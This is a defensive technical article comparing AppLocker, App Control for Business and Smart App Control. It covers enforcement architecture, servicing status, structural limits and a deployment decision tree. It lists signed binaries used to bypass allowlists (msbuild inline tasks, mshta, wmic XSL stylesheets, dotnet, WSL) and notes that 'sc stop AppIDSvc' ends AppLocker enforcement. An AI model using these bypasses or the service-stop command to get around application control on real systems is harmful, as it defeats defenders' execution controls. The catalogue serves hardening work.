`addinprocess.exe`	Visual Studio add-in host loads attacker DLL	James Forshaw, Jul 2017	[@tiraniddo-dg-2017]
`dotnet.exe`	Modern .NET host, AWL bypass via assembly loading	Jimmy Bayne, Aug 2019	[@bohops-dotnet-awl]
`msbuild.exe`	Inline `Task` in build XML compiles and runs C# at build time	community	[@ms-appcontrol-bypass]
`mshta.exe`	HTA host evaluates VBScript / JScript	community	[@ms-appcontrol-bypass]
`wmic.exe`	XSL stylesheet evaluation runs arbitrary script	community	[@ms-appcontrol-bypass]
`bash.exe` / `wsl.exe`	Launches WSL kernel, an environment outside App Control	community	[@ms-appcontrol-bypass]

The structural limit being demonstrated. A publisher-gate allowlist cannot evaluate what a signed binary will do after it starts. If the policy allows Microsoft-signed code, it has no way to know that msbuild.exe will compile and execute attacker-supplied C# at runtime. The same kind of structural ceiling that applied to AppLocker's user-mode evaluator applies to App Control's publisher gate. Different mechanism, different layer; same kind of structural ceiling.

flowchart LR A["Signed binary loads"] --> B["Policy admits publisher"] B --> C["Binary starts"] C --> D["Binary reads attacker-controlled input"] D --> E["Attacker-controlled code runs"] note["No policy-time check can prevent this"] E -. observed by .- note

The community corpus. Jimmy Bayne's bohops/UltimateWDACBypassList [@github-ultimatewdacbypass] preserves per-binary attribution to Forshaw, Smith, Nelson, Graeber, Moe, and others. Pair with the LOLBAS Project [@lolbas-project] as the cross-platform LOLBin catalogue and you have the empirical record the Recommended Block Rules canonicalise.

Microsoft's response was institutional, not architectural. Publish the inverse list and update it continuously. The Microsoft Recommended Block Rules policy is the canonical mitigation [@ms-appcontrol-bypass]. Snapshots of the page through 2019, 2020, 2022, and 2023 show a monotonically growing enumeration: a handful of entries at first, around forty by 2026, with each addition traceable to a named-researcher write-up.Matt Graeber's original 2016 cdb.exe write-up URL www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html now serves an unrelated 2011 NTFS-ADS post (also by Graeber, but pre-cdb-era). The verbatim August 2016 LOLBin post is preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The attribution is independently triangulated by the Microsoft Recommended Block Rules page itself ("Microsoft recognizes ... Matt Graeber") [@ms-appcontrol-bypass] and by bohops/UltimateWDACBypassList [@github-ultimatewdacbypass].

The article must state plainly: "App Control with the Recommended Block Rules" and "App Control without them" are not the same product. The block list is load-bearing.

DO NOT consider any application whitelisting solution to be secure against a bored member of staff. -- James Forshaw, *DG on Windows 10 S* [@tiraniddo-dg-2017]

Operational cost is non-zero. The webclnt.dll block in the Recommended Block Rules has a documented practitioner side effect. Peter Upfold's July 2024 write-up [@upfold-webclnt-word-hang] documents a 5-15 second Word "not responding" hang on OneDrive / SharePoint saves caused specifically by that block, on machines with App Control for Business enforcing the Microsoft Recommended Block Rules. The mitigation has a cost. Honest deployment means measuring the cost against the threat it addresses.

Peter Upfold reported in July 2024 [@upfold-webclnt-word-hang] that *"users were experiencing a 5-15 second delay when saving a document to OneDrive or SharePoint, during which Word would show as 'not responding.' All machines in question use App Control for Business (WDAC)."* The cause was the `webclnt.dll` entry in the Microsoft Recommended Block Rules, which blocks the WebDAV redirector. WebDAV is the underlying transport Office uses for some OneDrive / SharePoint save paths. The block exists because `webclnt.dll` has historically been used by attackers to coerce NTLM authentication to attacker-controlled UNC paths; the side effect is a Word hang on legitimate saves. This is the texture of *"App Control with the Recommended Block Rules"*: not theoretical, not free.

Tie back to the thesis. The bypass corpus does not undermine App Control's security-boundary status. It underlines that without the Recommended Block Rules, an App Control "allow all Microsoft-signed code" policy is not a coherent security policy. The boundary holds because Microsoft and the community continuously update the inverse list.

Note: The MSRC servicing-criteria classification of App Control as a security feature assumes the Recommended Block Rules are merged into the policy. An App Control deployment that allows Microsoft-signed code without the Block Rules is enforcement-of-a-name, not enforcement-of-a-capability. The single most-skipped step in production deployments is the merge of the Recommended Block Rules and the Vulnerable Driver Blocklist into the active policy.

If both AppLocker and App Control have structural ceilings, and Microsoft maintains them both, the question is not "which one is correct?" It is: what is Microsoft's third application-control product, who is it for, and how does it relate to the first two? That is Smart App Control.

9. Smart App Control -- The Adjacent Consumer Application

Windows 11 22H2 ships on September 20, 2022 [@blogs-windows-22h2-launch] [@ms-lifecycle-win11-enterprise]. Microsoft introduces Smart App Control (SAC) for consumer Windows. It runs on the same kernel CI machinery as App Control for Business [@ms-smart-app-control]. It is not App Control for Business. Why is it a distinct product?

The mechanism. SAC uses the same ci.dll evaluator as App Control for Business. Its decision source is ISG, with a fallback to "valid signature from a Trusted Root CA" when ISG has no verdict [@ms-smart-app-control]. On an eligible clean install of Windows 11 22H2 or later, SAC starts in evaluation mode and either moves to enforcement or turns itself off, depending on whether Microsoft assesses the device as a good fit.

The product is categorically different.

Unmanaged: no admin policy, no GPO, no Intune authoring surface.
All-or-nothing: there is no per-app rule list. Either SAC is on for the device, or it is off.
Auto-disables silently: when the device's telemetry suggests SAC would be disruptive, it can disable itself without prompting the user [@ms-smart-app-control].
Enterprise-managed devices keep it off: SAC stays off if "your device is enterprise-managed or developer-mode has been configured" [@ms-support-sac-faq].

A consumer-grade Windows 11 application-control feature that uses the same kernel CI evaluator as App Control for Business but provides no policy authoring surface. SAC consults the Intelligent Security Graph for reputation and a Trusted Root CA signature fallback for unknown binaries. SAC is binary: on (enforcing for the device) or off. On eligible clean installs of Windows 11 22H2 and later for unmanaged consumer devices, it starts in evaluation mode and then turns on or off [@ms-smart-app-control] [@ms-support-sac-faq].

The 2026 update most older write-ups still get wrong. SAC can be re-enabled without a clean install on current Windows versions. The Microsoft Support FAQ [@ms-support-sac-faq] states: "Recent Windows updates allow Smart App Control to be enabled within the Windows Security App without requiring a clean installation" and "Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation." If you read a blog post that claims SAC requires a Windows 11 reinstall to enable, that post pre-dates these updates. The current SAC state-machine vocabulary is evaluation mode (not audit mode) [@ms-smart-app-control].

Note: The widely-cited 2022-era guidance that "to turn on Smart App Control, a Windows 11 reinstall is required" is no longer true [@ms-support-sac-faq]. Microsoft has shipped the in-place enable / re-enable surface in the Windows Security app. If your reading list still warns of the reinstall requirement, the warning is empirically outdated as of 2026.

The Microsoft documentation about SAC is itself inconsistent on this point. The Smart App Control overview developer page still says SAC "can only be enabled on a clean install of a version of Windows that contains the Smart App Control feature" and lists "A clean Windows install" as a SAC requirement [@ms-smart-app-control], while the Microsoft Support FAQ [@ms-support-sac-faq] documents the in-place re-enable surface. The FAQ is the more current source and is the one Microsoft updates when servicing changes the behaviour; the developer overview page lags. Practitioners reading the two pages back-to-back should treat the FAQ as authoritative for current Windows.

Why SAC is not "WDAC for consumers": the enforcement engine is approximately the same, but the product is categorically different. Unmanaged, all-or-nothing, ISG-gated, silently auto-disables. The kernel is the same; the management story is the inverse. The FAQ in section 15 flags this misconception explicitly.

Three products now sit in the inventory: AppLocker, App Control for Business, Smart App Control. The practitioner question is no longer "which one is best?" It is "which one fits which deployment?" That is the job of the next section.

10. Side-by-Side Comparison -- The Practitioner Matrix

Most comparisons of AppLocker and App Control are organised by feature inventory. That answers the wrong question. Organise the comparison by what the security practitioner actually needs to decide, and the line between the two becomes obvious.

Practitioner-decision dimension	AppLocker	App Control for Business
MSRC servicing-criteria classification	Defense-in-depth (not a security feature) [@ms-appcontrol-applocker-overview]	Security feature when signed policy and HVCI [@ms-appcontrol-applocker-overview]
Enforcement locus	User-mode `AppIDSvc` + kernel `AppID.sys` minifilter [@ms-applocker-architecture]	Kernel `ci.dll` (HVCI: VTL1) [@ms-hvci]
Survives `SYSTEM`-equivalent attacker	No -- `sc stop AppIDSvc` ends enforcement	Yes, when policy is signed and HVCI is on
Per-user / per-group rules	Yes [@ms-appcontrol-feature-availability]	No (whole-device) [@ms-appcontrol-feature-availability]
Driver coverage	No (drivers go through KMCS / DSE)	Yes -- App Control policy can govern drivers as a peer of KMCS
`.bat` / `.cmd` script enforcement	Yes [@ms-applocker-rules]	No -- script enforcement is host-cooperative and `cmd.exe` is not enlightened [@ms-appcontrol-script-enforcement] [@ms-appcontrol-feature-availability]
Signing infrastructure required	None	Internal code-signing PKI required for signed policy (the security-boundary configuration)
Reboot required to apply policy changes	No (immediate take-effect through AppIDSvc)	Yes for signed policies (because the trusted-signer set is sealed at boot)
GPO deployment	Mature dedicated UI	Single-policy XML through Administrative Templates -> System -> Device Guard
MDM / Intune deployment	AppLocker CSP (in maintenance) [@ms-applicationcontrol-csp]	ApplicationControl CSP (multi-policy, where new feature work lands) [@ms-applicationcontrol-csp] [@ms-intune-app-control]
Active feature development	None -- "isn't getting new feature improvements" [@ms-appcontrol-applocker-overview]	Yes -- multi-policy cap removed April 2024 [@ms-appcontrol-multi-policy], Server 2025 OSConfig integration [@techcommunity-osconfig-server-2025]
Canonical bypass corpus	Oddvar Moe `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]	Jimmy Bayne `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]; Microsoft Recommended Block Rules [@ms-appcontrol-bypass]

The table does not say "AppLocker bad, App Control good." It says the two are non-substitutable. AppLocker gives you per-user policy on devices that do not have a code-signing PKI. App Control gives you a real security boundary on devices that do.

Every "App Control = Yes" row in the security-boundary direction is gated on the policy being signed and HVCI being on. Every "AppLocker = Yes" row in the per-user direction comes with the user-mode-service ceiling. The article repeats these gating conditions in the prose so the reader does not over-read the table.

flowchart TB subgraph Quad["Threat-model fit"] AL["AppLocker
per-user yes, admin-resistant no
(operational hygiene)"] AC["App Control for Business
per-user no, admin-resistant yes
(security boundary, when signed and HVCI)"] SAC["Smart App Control
per-user no, admin-resistant partial
(consumer, unmanaged)"] None["No allowlist
per-user no, admin-resistant no
(default Windows)"] end The comparison table is intentionally pitched at the practitioner-decision layer. It does not show audit-mode behaviour (both products support it), the specific Event Log IDs (AppLocker logs to `Microsoft-Windows-AppLocker/*`, App Control to `Microsoft-Windows-CodeIntegrity/*`), the reboot semantics for unsigned vs signed App Control policies (unsigned changes can take effect without reboot in some configurations; signed changes require a reboot to refresh the trusted signer set), or the specific PowerShell cmdlet inventory. These details matter operationally and are covered on Microsoft Learn [@ms-appcontrol-applocker-overview] [@ms-applicationcontrol-csp]; they do not change the decision shape and are excluded from the comparison for word budget.

Key idea: AppLocker and App Control for Business are non-substitutable. The line between them is not new vs old; it is per-user without PKI vs security boundary with PKI. A deployment that needs both -- per-user policy on some collections and a real security boundary on others -- runs both side by side, which is exactly the configuration Windows 11 24H2 supports.

The table makes the what explicit. The why both still ship is still left implicit. The next section makes the case explicit, including the load-bearing negative citation that AppLocker is not on Microsoft's deprecated-features page as of February 2026.

11. Why Both Still Ship -- and Why "AppLocker Is Deprecated" Is Folklore

A line that has circulated in community summaries since 2023: "AppLocker is being sunsetted, migrate to WDAC." Is that line true?

The load-bearing negative citation. As of the February 2, 2026 update of Microsoft Learn's Deprecated features in the Windows client page [@ms-deprecated-features], AppLocker is not on the list. The page enumerates features Microsoft has formally deprecated -- WMIC, PowerShell 2.0, NTLM, DirectAccess, Maps, EdgeHTML, Paint 3D, the LPR/LPD print services, the UWP Map control. AppLocker is not among them.

What Microsoft does say, taken verbatim from the App Control and AppLocker Overview page [@ms-appcontrol-applocker-overview]:

As established in §4, Microsoft's own servicing-criteria language disqualifies AppLocker as a security feature [@ms-appcontrol-applocker-overview]; the load-bearing point for this section is the second half of the same page.
"Although AppLocker continues to receive security fixes, it isn't getting new feature improvements."

Although AppLocker continues to receive security fixes, it isn't getting new feature improvements. -- Microsoft Learn, *App Control and AppLocker Overview* [@ms-appcontrol-applocker-overview]

The October 8, 2024 cumulative update KB5044288 (OS Build 25398.1189, Windows Server, version 23H2) confirms the "continues to receive security fixes" claim with a concrete servicing fix [@ms-kb-5044288]: the release notes specifically include "[AppLocker] Fixed: The rule collection enforcement mode is not overwritten when rules merge with a collection that has no rules. This occurs when the enforcement mode is set to 'Not Configured.'" The fix shipped on the Server SKU first; the AppLocker code path is shared, so the fix appears on the client SKUs through their parallel monthly servicing. AppLocker is in maintenance mode, not deprecation.

Five reasons AppLocker still ships in 2026.

Reason	Practitioner consequence	Source
Per-user rules	App Control is whole-device. Multi-user terminal-server, Citrix VDI, and education labs need per-user policy.	[@ms-appcontrol-feature-availability]
No signing infrastructure required	App Control's tamper-resistance story requires an internal code-signing PKI; AppLocker requires none.	[@ms-appcontrol-applocker-overview]
GPO ergonomics	AppLocker has a mature dedicated GPO UI; App Control GPO deployment is single-policy format only (multi-policy requires the `ApplicationControl` CSP).	[@ms-applicationcontrol-csp]
Installed base	Existing AppLocker deployments work; ripping them out for a different security model has migration cost without a forced trigger.	[@ms-appcontrol-applocker-overview]
Threat-model fit	Some organisations only need to keep end users from running random downloads -- the operational hygiene threat model. AppLocker fits that model and admits its scope.	[@ms-appcontrol-applocker-overview]

The first reason is the load-bearing one. The kernel ci.dll evaluator does not consult per-user token context as a policy input; the App Control policy is whole-device by design. Until that changes, any environment whose risk model depends on different rule sets for different user identities -- terminal servers, RDS hosts, Citrix VDI, education labs, kiosks shared by multiple users -- has to keep AppLocker even if every other dimension would point toward App Control.

The community-folklore correction. The "AppLocker is deprecated" line is not Microsoft's position. The Microsoft position is the comparative one in App Control and AppLocker Overview: App Control is the recommended security feature; AppLocker is the supported parallel option for the scenarios above. The strongest defensible characterisation of AppLocker's roadmap is "feature complete, not actively developed, continues to receive security fixes" -- not "deprecated." Microsoft's Deprecated features in the Windows client page reinforces this in an unexpected direction [@ms-deprecated-features]: when the page deprecated Microsoft Defender Application Guard for Office, it recommended transitioning to "Microsoft Defender for Endpoint attack surface reduction rules along with Protected View and Windows Defender Application Control" -- a Microsoft-curated recommendation that names App Control as the forward-looking layer, not the legacy one.The KB5044288 October 2024 fix [@ms-kb-5044288] is the concrete proof-point that the "security fixes" claim is observable. It addresses a specific AppLocker rule-merge bug. A genuinely deprecated feature does not get bug fixes shipped on Patch Tuesday two years after rename.

Note: The phrase frequently appears in community summaries, conference slides, and migration-vendor sales decks. It is not in Microsoft Learn. AppLocker is not on the deprecated-features list [@ms-deprecated-features] as of February 2026, it continues to receive security fixes [@ms-kb-5044288], and Microsoft Learn explicitly preserves it for the scenarios where App Control is not a substitute [@ms-appcontrol-applocker-overview]. If your migration plan rests on the assumption that AppLocker will be removed soon, the assumption does not have a public Microsoft commitment behind it.

If both still ship, the natural next question is not which one to use today but where the ceiling for any allowlist mechanism is. That ceiling is structural, it is the same for AppLocker, App Control, and SAC, and the research community has named it.

12. Theoretical Limits -- What No Allowlist Can Do

The publisher-gate structural limit shown in section 8 was specific to App Control. Here is the more general version of the same observation: application control cannot evaluate side effects. The same ceiling applies to AppLocker, App Control, SAC, ISG, every Microsoft Recommended Block Rules iteration, and every third-party product in the same market.

The structural claim is folklore-level but universally observed; no published impossibility theorem yet states it formally. The closest standard result is Rice's theorem: any non-trivial behavioural property of a Turing-complete program is undecidable in the general case. A publisher-gate allowlist asks a behavioural question -- "will this binary do something that violates policy?" -- and answers it with a structural fact -- "who signed it?" The mismatch is not a defect of any individual allowlist product; it is a working bound the field treats as a corollary of Rice. The policy evaluator runs before the binary starts. It knows what the binary is -- the signer subject, the file hash, the path on disk, the Authenticode metadata. It does not know what the binary will do. If msbuild.exe is signed by Microsoft and the policy allows Microsoft-signed binaries, the policy has no way to know that msbuild.exe will then read an attacker-controlled .csproj file containing an inline <Task> element and compile and execute the attached C# at runtime.

This is the structural reason Microsoft publishes the Recommended Block Rules [@ms-appcontrol-bypass]. It is also the structural reason "allow all Microsoft-signed code" is not a security policy -- it is a starting point.

As established in §4 and §8, the bound is observed from both sides of the asymmetric arms race. External offensive research arrives at the "bored member of staff" framing in the Windows 10 S analysis [@tiraniddo-dg-2017]; the Microsoft-employed authors of the canonical deployment baseline arrive at the "determined user with administrative rights" framing in the AaronLocker README [@github-aaronlocker]. Two independent perspectives, the same ceiling stated in their own vocabularies. §12's contribution is not to re-quote either; it is to name the structural reason both arrive at the same place.

Key idea: The publisher-gate ceiling is not an artefact of AppLocker's user-mode design or App Control's kernel-but-publisher design. The ceiling is a property of the allowlist model whose allow signal is "this code is from a publisher I trust" instead of "this code's runtime behaviour matches a trusted policy." Closing the ceiling would require policy-time content semantics, which no Microsoft-shipped mechanism provides today.

The folklore claim *"a publisher-gate allowlist cannot evaluate side effects"* does not have a published formal impossibility result in the cryptography or program-analysis literature. Rice's theorem supplies the necessary-condition argument used above -- any non-trivial behavioural property of programs is undecidable in the general case -- but a tighter result calibrated to publisher-gate allowlists would have to constrain the adversary model (for example, bound the candidate input space or restrict the binary's capability surface) before any positive decidability claim becomes possible. The application-control literature has not crossed that bar; this article does not either.

If the ceiling is structural, what is the research community actively trying that might push it upward? Microsoft is not the only player; the field has named open problems.

13. Open Problems and Active Research

Seven open problems the field has named but not closed. The most honest framing is: each one has a Microsoft partial-mitigation, none has a clean solution. Each is treated below with the problem statement, the empirical or architectural evidence, the current Microsoft (and where relevant, regulatory) mitigation, and the residual gap.

1. Continuous catch-up against new Microsoft-signed LOLBins. Every new signed binary that takes a "run code from this file" argument is a candidate addition to the Recommended Block Rules [@ms-appcontrol-bypass]. The list is by construction monotonic and never complete. The empirical evidence is the lag between a LOLBin's public disclosure and its appearance on the Microsoft page, observable in Wayback Machine snapshots of the page. Three case studies bracket the lag range. Matt Graeber's August 2016 cdb.exe shellcode-runner write-up [@exploit-monday-cdb-wayback] appears on the recommended-block-rules page in the months that followed. Jimmy Bayne's August 2019 dotnet.exe write-up [@bohops-dotnet-awl] appears in a batch of additions roughly a year later. Peter Upfold's mid-2024 webclnt.dll-via-Word issue [@upfold-webclnt-word-hang] was a hang, not a LOLBin, but the WebDAV / WebClient surface had appeared in the page revisions of the prior couple of years. The case studies suggest a working practitioner bound: lags between a public LOLBin disclosure and a corresponding entry on the Microsoft Recommended Block Rules page range from several months to over a year, with longer tails for less load-bearing additions. A practitioner planning App Control deployments should not wait for the Microsoft page to catch up; merge community lists (LOLBAS [@lolbas-project], bohops/UltimateWDACBypassList [@github-ultimatewdacbypass]) into your own enforcement explicitly. The open research question is whether a binary's capability surface -- does it load arbitrary code? does it invoke a script host? -- can be inferred at scale, so the block list is generated rather than curated. Static analysis identifies some signals (a binary that imports LoadLibrary and GetProcAddress is at minimum suspect), but no Microsoft-shipped tool does this automatically across the signed-binary surface.

2. Signed-but-vulnerable drivers (BYOVD). WHQL-signed drivers with kernel-mode vulnerabilities remain App Control's hardest residual class. Microsoft layers three distinct mitigations against this class, each at a different point in the load path. Load-time: the Vulnerable Driver Blocklist [@ms-driver-block-rules] is a policy fragment enforced by ci.dll at every driver-load callback; the page itself admits the constraint plainly with "the vulnerable driver blocklist isn't guaranteed to block every driver found to have vulnerabilities." Write-time: the Defender for Endpoint Attack Surface Reduction rule "Block abuse of exploited vulnerable signed drivers" [@ms-asr-rules-reference] intercepts an attempt to write a known-bad signed driver to disk, blocking the deployment step rather than the load step. Post-load: HVCI (memory integrity) [@ms-hvci] [@ms-support-memory-integrity] running in VTL1 ensures that a driver that does load -- whether through a gap in the blocklist or because the device is not enrolled in ASR -- cannot grant attacker-controlled code write access to kernel memory or unsigned execution capability. The three layers compose: ASR is the perimeter, the blocklist is the gate, HVCI is the post-load containment.

flowchart TD Attacker["Attacker with admin
brings vulnerable signed driver"] L1["Write-time ASR rule
Block abuse of exploited
vulnerable signed drivers"] L2["Load-time Vulnerable
Driver Blocklist
(ci.dll, kernel)"] L3["Post-load HVCI
(VTL1, secure kernel)"] Bypass["Residual: driver not on
blocklist + ASR disabled
+ HVCI off or vulnerability
HVCI does not contain"] Attacker --> L1 L1 -- if not blocked --> L2 L2 -- if not blocked --> L3 L3 -- if not contained --> Bypass

The Microsoft-recommended driver blocklist is published in two physical forms. The version baked into Windows ships through monthly Windows Update servicing. A separately downloadable XML at aka.ms/VulnerableDriverBlockList is updated on its own cadence and is usually more complete than the version in-box on a given Patch Tuesday. The companion Driver Signing article in this pipeline covers KMCS, DSE, and the BYOVD class in depth; this section's BYOVD treatment is intentionally scoped to App Control's layered-mitigation role.

3. Cloud-evaluated allow decisions (ISG, SAC). The decision authority for "is this binary allowed?" is moving off-device to Microsoft's reputation services. Latency, offline-mode behaviour, and policy-transparency consequences are open practitioner concerns. Known good reputation can lag for newly-signed binaries; unknown defaults can disrupt legitimate workflows; the verdict itself is opaque to the organisation deploying the policy. The mechanism is documented [@ms-appcontrol-isg]; the operational implications continue to be discovered in production. The regulatory framing is the sharpest published constraint: the Australian Cyber Security Centre's Implementing application control page [@acsc-essential-eight-appcontrol] is unambiguous that cloud-reputation-driven decisioning, by itself, does not qualify as application control under the Essential Eight maturity model.

The ACSC lists "checking the reputation of an application using a cloud-based service before it is executed" among the practices under the heading "What application control is not." -- Australian Cyber Security Centre, *Implementing application control* [@acsc-essential-eight-appcontrol]

NIST SP 800-167 [@nist-sp-800-167] uses gentler language but arrives at the same operational conclusion: cloud-evaluated reputation is an additive signal, not an authoritative one. The practitioner consequence: an App Control policy that relies on ISG for its allow decisions in a regulated cardholder, classified, or critical-infrastructure environment will be flagged by both regimes. ISG and SAC remain useful additive signals; they do not substitute for an explicit allow policy authored and signed on-premises.

4. AI-assisted policy generation. AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] is the canonical example of a heuristic generator -- it builds "audit" and "enforce" rule sets from observed telemetry, with explicit user-writeability pruning via Sysinternals AccessChk [@ms-accesschk]. ML-assisted variants are an active third-party space. The article is honest about not inventing specific Microsoft features that do not exist; the "ITL" fabrication is the failure mode this avoids. The honest 2026 status of generative policy authoring inside Microsoft's own tooling is that Microsoft has shipped a Security-Copilot-powered Policy Configuration Agent for Intune, scoped to the settings catalog (device-configuration profiles), with no App-Control-specific surface.

Note: The Security-Copilot-powered Policy Configuration Agent in Microsoft Intune [@ms-intune-policy-configuration-agent] [@ms-intune-manage-policy-configuration-agent] assists administrators with settings catalog policies. The agent's role requirement is the Intune Policy and Profile manager RBAC role; the surface it operates on is device-configuration profiles, not App Control XML. The Intune Copilot agent overview [@ms-intune-copilot-overview] confirms the inventory of shipped agents and does not include an App-Control-authoring agent. The article does not assert that Microsoft has shipped end-to-end generative App Control policy authoring because, as of June 2026, Microsoft has not. The closest production workflow is the audit-mode-then-merge loop in ConfigCI, and the closest automatic allow-listing signal is Intune-Management-Extension-as-managed-installer.

5. Per-user without losing the kernel boundary. App Control is whole-device; this is section 11's reason number one for why AppLocker still ships. No public Microsoft roadmap addresses per-user rules in App Control. Closing this would let App Control fully replace AppLocker in VDI / Citrix / terminal-server scenarios. The kernel evaluator has no per-user-token context by design, and adding it without compromising the boundary's tamper-resistance is a non-trivial design problem: per-user policy would have to be authored, signed, and refreshed at logon time without admitting an attacker who can forge a token into authoring their own per-user allow rule.

6. .bat / .cmd script enforcement. AppLocker's Script collection covers them [@ms-applocker-rules]; App Control's script enforcement is host-cooperative [@ms-appcontrol-script-enforcement] and cmd.exe is not an enlightened host. This is a documented gap [@ms-appcontrol-feature-availability] that has persisted since launch. Microsoft Learn is unusually direct about what the limitation actually means and what the recommended mitigation is.

App Control doesn't directly control code run via the Windows Command Processor (cmd.exe), including .bat/.cmd script files. However, anything that such a batch script tries to run is subject to App Control control. If you don't need to run cmd.exe, it's recommended to block it outright or allow it only by exception based on the calling process. -- Microsoft Learn, *Script enforcement with App Control* [@ms-appcontrol-script-enforcement]

The architectural fix would require either cmd.exe enlightenment (a substantial change to a binary with three decades of behavioural compatibility) or a kernel-side script-execution hook that does not exist today. Until then, the recommended mitigation is the one Microsoft itself names: deny cmd.exe by default in the App Control policy and allow it by exception based on the calling process, or rely on AppLocker's Script collection on the same device in parallel for the .bat / .cmd workload.

7. AppLocker's end state. It is not deprecated [@ms-deprecated-features]; it is not actively developed [@ms-appcontrol-applocker-overview]; it continues to receive security fixes [@ms-kb-5044288]; and Microsoft Learn explicitly recommends the App Control / AppLocker pair as the substitute path for the now-deprecated Microsoft Defender Application Guard for Office [@ms-deprecated-features]. The article should not speculate about a deprecation date Microsoft has not announced. The open question is operational: when, if ever, will the practitioner reasons in section 11 (per-user, no-PKI, GPO ergonomics, installed base, threat-model fit) be obsolete? Until App Control gains per-user rules, the answer is not soon. The lifecycle-quantification evidence is unambiguous on the direction of travel: the negative citation on the deprecated-features page, the comparative-recommendation positive characterisation in App Control and AppLocker Overview, the KB5044288 Patch Tuesday servicing fix, and the AppLocker recommended as MDAG-substitution finding from the deprecated-features page itself all point the same way.

Note: The Microsoft-org-hosted WDAC-Toolkit repository [@github-wdac-toolkit] is the source repo for the App Control Wizard and the most reliable channel for App Control authoring-tool updates. The bohops UltimateWDACBypassList [@github-ultimatewdacbypass] is the canonical community corpus that feeds the Recommended Block Rules attribution chain. The LOLBAS Project [@lolbas-project] is the cross-platform LOLBin catalogue. For BYOVD, the Microsoft Vulnerable Driver Blocklist page [@ms-driver-block-rules] is the running mitigation index, with the downloadable XML at aka.ms/VulnerableDriverBlockList as the more-current sibling.

The structural ceiling is real and the research direction is open. Within the bounds that exist today, what should a 2026 practitioner actually do? That is a decision tree, not an essay.

14. The Practitioner Decision Tree -- Picking and Deploying in 2026

Five questions, in order. Answer them and you have a deployment plan.

1. Do you need per-user rules and you do not have a code-signing PKI? -> Deploy AppLocker. Use AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] as the deployment-tooling baseline. AaronLocker's Create-Policies.ps1 runs Sysinternals AccessChk [@ms-accesschk] against %ProgramFiles% and %SystemRoot% to identify user-writable subdirectories and produce a thorough audit policy you tune from telemetry before flipping enforcement on.

2. Do you need a real security boundary against admin-equivalent attackers? -> Deploy App Control for Business with a signed policy (signed by your organisation's PKI, not by the publisher of any individual application) and HVCI on. Anything less and you do not have the configuration the MSRC servicing criteria treat as a security boundary.

3. Do you have a managed software distribution mechanism (Configuration Manager, Intune, Patch My PC, third-party tooling)? -> App Control for Business with Managed Installer enabled [@ms-appcontrol-managed-installer] [@ms-intune-app-control]. Tagging the deployment agent as a managed installer trust-propagates that agent's installs into the policy without requiring you to enumerate every binary it deploys.

4. Do you have a long tail of unmanaged user apps you cannot enumerate? -> App Control for Business with ISG enabled [@ms-appcontrol-isg]. But never as the only authorisation path for business-critical apps. ISG is additive, not authoritative.

5. Consumer or un-managed Windows 11 device? -> Smart App Control, if eligible [@ms-smart-app-control] [@ms-support-sac-faq]. Otherwise nothing.

flowchart TD Q1{"Need per-user rules and no PKI?"} Q2{"Need admin-resistant boundary?"} Q3{"Have managed software distribution?"} Q4{"Have long tail of unmanaged apps?"} Q5{"Consumer or unmanaged device?"} AL["AppLocker (with AaronLocker)"] ACSigned["App Control for Business
signed policy + HVCI"] ACMI["Add Managed Installer rule"] ACISG["Add ISG signal (additive)"] SAC["Smart App Control"] Nothing["No application control"] Q1 -- yes --> AL Q1 -- no --> Q2 Q2 -- yes --> ACSigned Q2 -- no --> Q5 ACSigned --> Q3 Q3 -- yes --> ACMI Q3 -- no --> Q4 ACMI --> Q4 Q4 -- yes --> ACISG Q4 -- no --> Done["Deployment complete"] ACISG --> Done Q5 -- consumer --> SAC Q5 -- enterprise unmanaged --> Nothing

The actual deployment knobs.

Scope	GPO node	PowerShell cmdlet inventory	CSP / MDM path
AppLocker	Computer Configuration -> Windows Settings -> Security Settings -> AppLocker	`Get-AppLockerPolicy`, `Set-AppLockerPolicy`, `Test-AppLockerPolicy`, `New-AppLockerPolicy`	AppLocker CSP (maintenance only) [@ms-applicationcontrol-csp]
App Control for Business	Computer Configuration -> Administrative Templates -> System -> Device Guard	`New-CIPolicy`, `Merge-CIPolicy`, `ConvertFrom-CIPolicy`, `Set-CIPolicySetting`, `Set-CIPolicyVersion`, `Add-SignerRule` (`ConfigCI` module)	ApplicationControl CSP [@ms-applicationcontrol-csp]; Intune endpoint security UX [@ms-intune-app-control]
App Control Wizard	n/a	Wraps `ConfigCI` cmdlets [@ms-appcontrol-wizard]	n/a (MSIX desktop app)
Server 2025 default policy	OSConfig PowerShell cmdlets [@techcommunity-osconfig-server-2025]	OSConfig	n/a

The Intune deployment surface is the ApplicationControl CSP [@ms-applicationcontrol-csp], not the older AppLocker CSP. Microsoft is explicit that new App Control feature work lands in ApplicationControl only. The Intune endpoint-security UX path [@ms-intune-app-control] sits on top of that CSP.

Note: The single most-skipped step in production App Control deployments is the merge of the Microsoft Recommended Block Rules [@ms-appcontrol-bypass] and the Vulnerable Driver Blocklist [@ms-driver-block-rules] into the active policy. Without them, "allow all Microsoft-signed code" admits cdb.exe, csi.exe, dnx.exe, msbuild.exe, mshta.exe, dotnet.exe, and the rest of the LOLBin catalogue. With them, you have the configuration the MSRC servicing criteria treat as a security boundary. The merge is two Merge-CIPolicy invocations and a redeploy.

Note: The App Control for Business GPO node is still labelled Device Guard in gpedit.msc, even on Windows 11 24H2. Microsoft Learn calls this out explicitly [@ms-appcontrol-applocker-overview]: "The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy." The naming confusion is the GPO tree's, not yours.

{` // Pseudocode walk of the App Control authoring path. The real cmdlets // run in PowerShell on a Windows host with the ConfigCI module installed; // this is the logic so you can mentally simulate the flow.

const baseXml = NewCIPolicy({ scanPath: 'C:\\Windows', level: 'SignedVersion', fallback: ['Hash'], filePath: 'BasePolicy.xml', });

const blockRulesXml = downloadAndImport( 'recommended-block-rules-policy', );

const driverBlockXml = downloadAndImport( 'vulnerable-driver-blocklist', );

const merged = MergeCIPolicy({ inputs: [baseXml, blockRulesXml, driverBlockXml], output: 'Production.xml', });

SetCIPolicySetting({ provider: 'SiPolicy', key: 'PolicyInfo', valueName: 'Information', value: 'Contoso Production Policy v1', policyPath: merged, });

const binaryCip = ConvertFromCIPolicy({ inputXml: merged, binaryFilePath: 'Production.cip', });

